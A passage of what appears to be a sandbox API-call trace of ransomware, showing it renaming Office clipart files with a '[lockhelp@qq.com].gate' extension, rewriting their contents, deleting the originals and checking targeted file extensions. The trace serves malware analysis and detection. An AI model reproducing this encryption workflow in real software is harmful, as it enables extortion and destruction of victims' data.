(lpString1=".bz2", lpString2=".WMF") returned -1 [0295.792] lstrlenW (lpString=".7z") returned 3 [0295.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0295.792] lstrlenW (lpString=".dbf") returned 4 [0295.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0295.792] lstrlenW (lpString=".1cd") returned 4 [0295.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0295.792] lstrlenW (lpString=".jpg") returned 4 [0295.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.792] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=30240) returned 1 [0295.792] CloseHandle (hObject=0x514) returned 1 [0295.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0295.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0295.793] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.793] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0295.794] GetLastError () returned 0x0 [0295.794] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x7620, lpOverlapped=0x0) returned 1 [0296.161] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x7630, lpOverlapped=0x0) returned 1 [0296.162] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.162] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.162] SetEndOfFile (hFile=0x538) returned 1 [0296.162] CloseHandle (hObject=0x538) returned 1 [0296.162] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.163] SetEndOfFile (hFile=0x514) returned 1 [0296.165] CloseHandle (hObject=0x514) returned 1 [0296.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0296.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0296.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0296.166] lstrlenW (lpString=".doc") returned 4 [0296.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.166] lstrlenW (lpString=".docx") returned 5 [0296.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.166] lstrlenW (lpString=".pdf") returned 4 [0296.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.166] lstrlenW (lpString=".xls") returned 4 [0296.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.166] lstrlenW (lpString=".xlsx") returned 5 [0296.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.166] lstrlenW (lpString=".ppt") returned 4 [0296.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0296.166] lstrlenW (lpString=".zip") returned 4 [0296.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.166] lstrlenW (lpString=".rar") returned 4 [0296.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.166] lstrlenW (lpString=".bz2") returned 4 [0296.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.166] lstrlenW (lpString=".7z") returned 3 [0296.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0296.166] lstrlenW (lpString=".dbf") returned 4 [0296.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0296.167] lstrlenW (lpString=".1cd") returned 4 [0296.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0296.167] lstrlenW (lpString=".jpg") returned 4 [0296.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.167] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=15856) returned 1 [0296.167] CloseHandle (hObject=0x514) returned 1 [0296.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0296.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0296.168] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.168] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0296.169] GetLastError () returned 0x0 [0296.169] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x3df0, lpOverlapped=0x0) returned 1 [0296.247] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x3e00, lpOverlapped=0x0) returned 1 [0296.248] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.248] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.248] SetEndOfFile (hFile=0x538) returned 1 [0296.249] CloseHandle (hObject=0x538) returned 1 [0296.252] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.252] SetEndOfFile (hFile=0x514) returned 1 [0296.255] CloseHandle (hObject=0x514) returned 1 [0296.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0296.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0296.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0296.258] lstrlenW (lpString=".doc") returned 4 [0296.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.258] lstrlenW (lpString=".docx") returned 5 [0296.258] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.258] lstrlenW (lpString=".pdf") returned 4 [0296.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.258] lstrlenW (lpString=".xls") returned 4 [0296.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.258] lstrlenW (lpString=".xlsx") returned 5 [0296.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.258] lstrlenW (lpString=".ppt") returned 4 [0296.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0296.258] lstrlenW (lpString=".zip") returned 4 [0296.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.258] lstrlenW (lpString=".rar") returned 4 [0296.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.258] lstrlenW (lpString=".bz2") returned 4 [0296.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.258] lstrlenW (lpString=".7z") returned 3 [0296.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0296.258] lstrlenW (lpString=".dbf") returned 4 [0296.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0296.258] lstrlenW (lpString=".1cd") returned 4 [0296.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0296.259] lstrlenW (lpString=".jpg") returned 4 [0296.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.259] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=4074) returned 1 [0296.259] CloseHandle (hObject=0x514) returned 1 [0296.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220 [0296.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0296.260] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.260] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0296.260] GetLastError () returned 0x0 [0296.260] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xfea, lpOverlapped=0x0) returned 1 [0296.383] WriteFile (in: hFile=0x550, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xff0, lpOverlapped=0x0) returned 1 [0296.384] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.384] WriteFile (in: hFile=0x550, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.384] SetEndOfFile (hFile=0x550) returned 1 [0296.384] CloseHandle (hObject=0x550) returned 1 [0296.384] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.384] SetEndOfFile (hFile=0x514) returned 1 [0296.403] CloseHandle (hObject=0x514) returned 1 [0296.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0296.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0296.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0296.449] lstrlenW (lpString=".doc") returned 4 [0296.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.449] lstrlenW (lpString=".docx") returned 5 [0296.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.450] lstrlenW (lpString=".pdf") returned 4 [0296.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.450] lstrlenW (lpString=".xls") returned 4 [0296.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.450] lstrlenW (lpString=".xlsx") returned 5 [0296.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.450] lstrlenW (lpString=".ppt") returned 4 [0296.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0296.450] lstrlenW (lpString=".zip") returned 4 [0296.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.450] lstrlenW (lpString=".rar") returned 4 [0296.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.450] lstrlenW (lpString=".bz2") returned 4 [0296.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.450] lstrlenW (lpString=".7z") returned 3 [0296.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0296.450] lstrlenW (lpString=".dbf") returned 4 [0296.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0296.450] lstrlenW (lpString=".1cd") returned 4 [0296.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0296.450] lstrlenW (lpString=".jpg") returned 4 [0296.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.451] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=8424) returned 1 [0296.451] CloseHandle (hObject=0x4b8) returned 1 [0296.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220 [0296.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0296.453] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.453] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0296.453] GetLastError () returned 0x0 [0296.453] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x20e8, lpOverlapped=0x0) returned 1 [0296.503] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x20f0, lpOverlapped=0x0) returned 1 [0296.504] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.504] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.504] SetEndOfFile (hFile=0x554) returned 1 [0296.505] CloseHandle (hObject=0x554) returned 1 [0296.507] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.507] SetEndOfFile (hFile=0x4b8) returned 1 [0296.512] CloseHandle (hObject=0x4b8) returned 1 [0296.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0296.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0296.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0296.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0296.515] lstrlenW (lpString=".doc") returned 4 [0296.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.515] lstrlenW (lpString=".docx") returned 5 [0296.515] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.515] lstrlenW (lpString=".pdf") returned 4 [0296.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.515] lstrlenW (lpString=".xls") returned 4 [0296.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.515] lstrlenW (lpString=".xlsx") returned 5 [0296.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.515] lstrlenW (lpString=".ppt") returned 4 [0296.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0296.515] lstrlenW (lpString=".zip") returned 4 [0296.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.515] lstrlenW (lpString=".rar") returned 4 [0296.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.515] lstrlenW (lpString=".bz2") returned 4 [0296.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.515] lstrlenW (lpString=".7z") returned 3 [0296.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0296.515] lstrlenW (lpString=".dbf") returned 4 [0296.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0296.515] lstrlenW (lpString=".1cd") returned 4 [0296.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0296.516] lstrlenW (lpString=".jpg") returned 4 [0296.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.516] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=7878) returned 1 [0296.516] CloseHandle (hObject=0x4b8) returned 1 [0296.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220 [0296.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0296.517] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.517] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0296.517] GetLastError () returned 0x0 [0296.517] ReadFile (in: hFile=0x4b8, 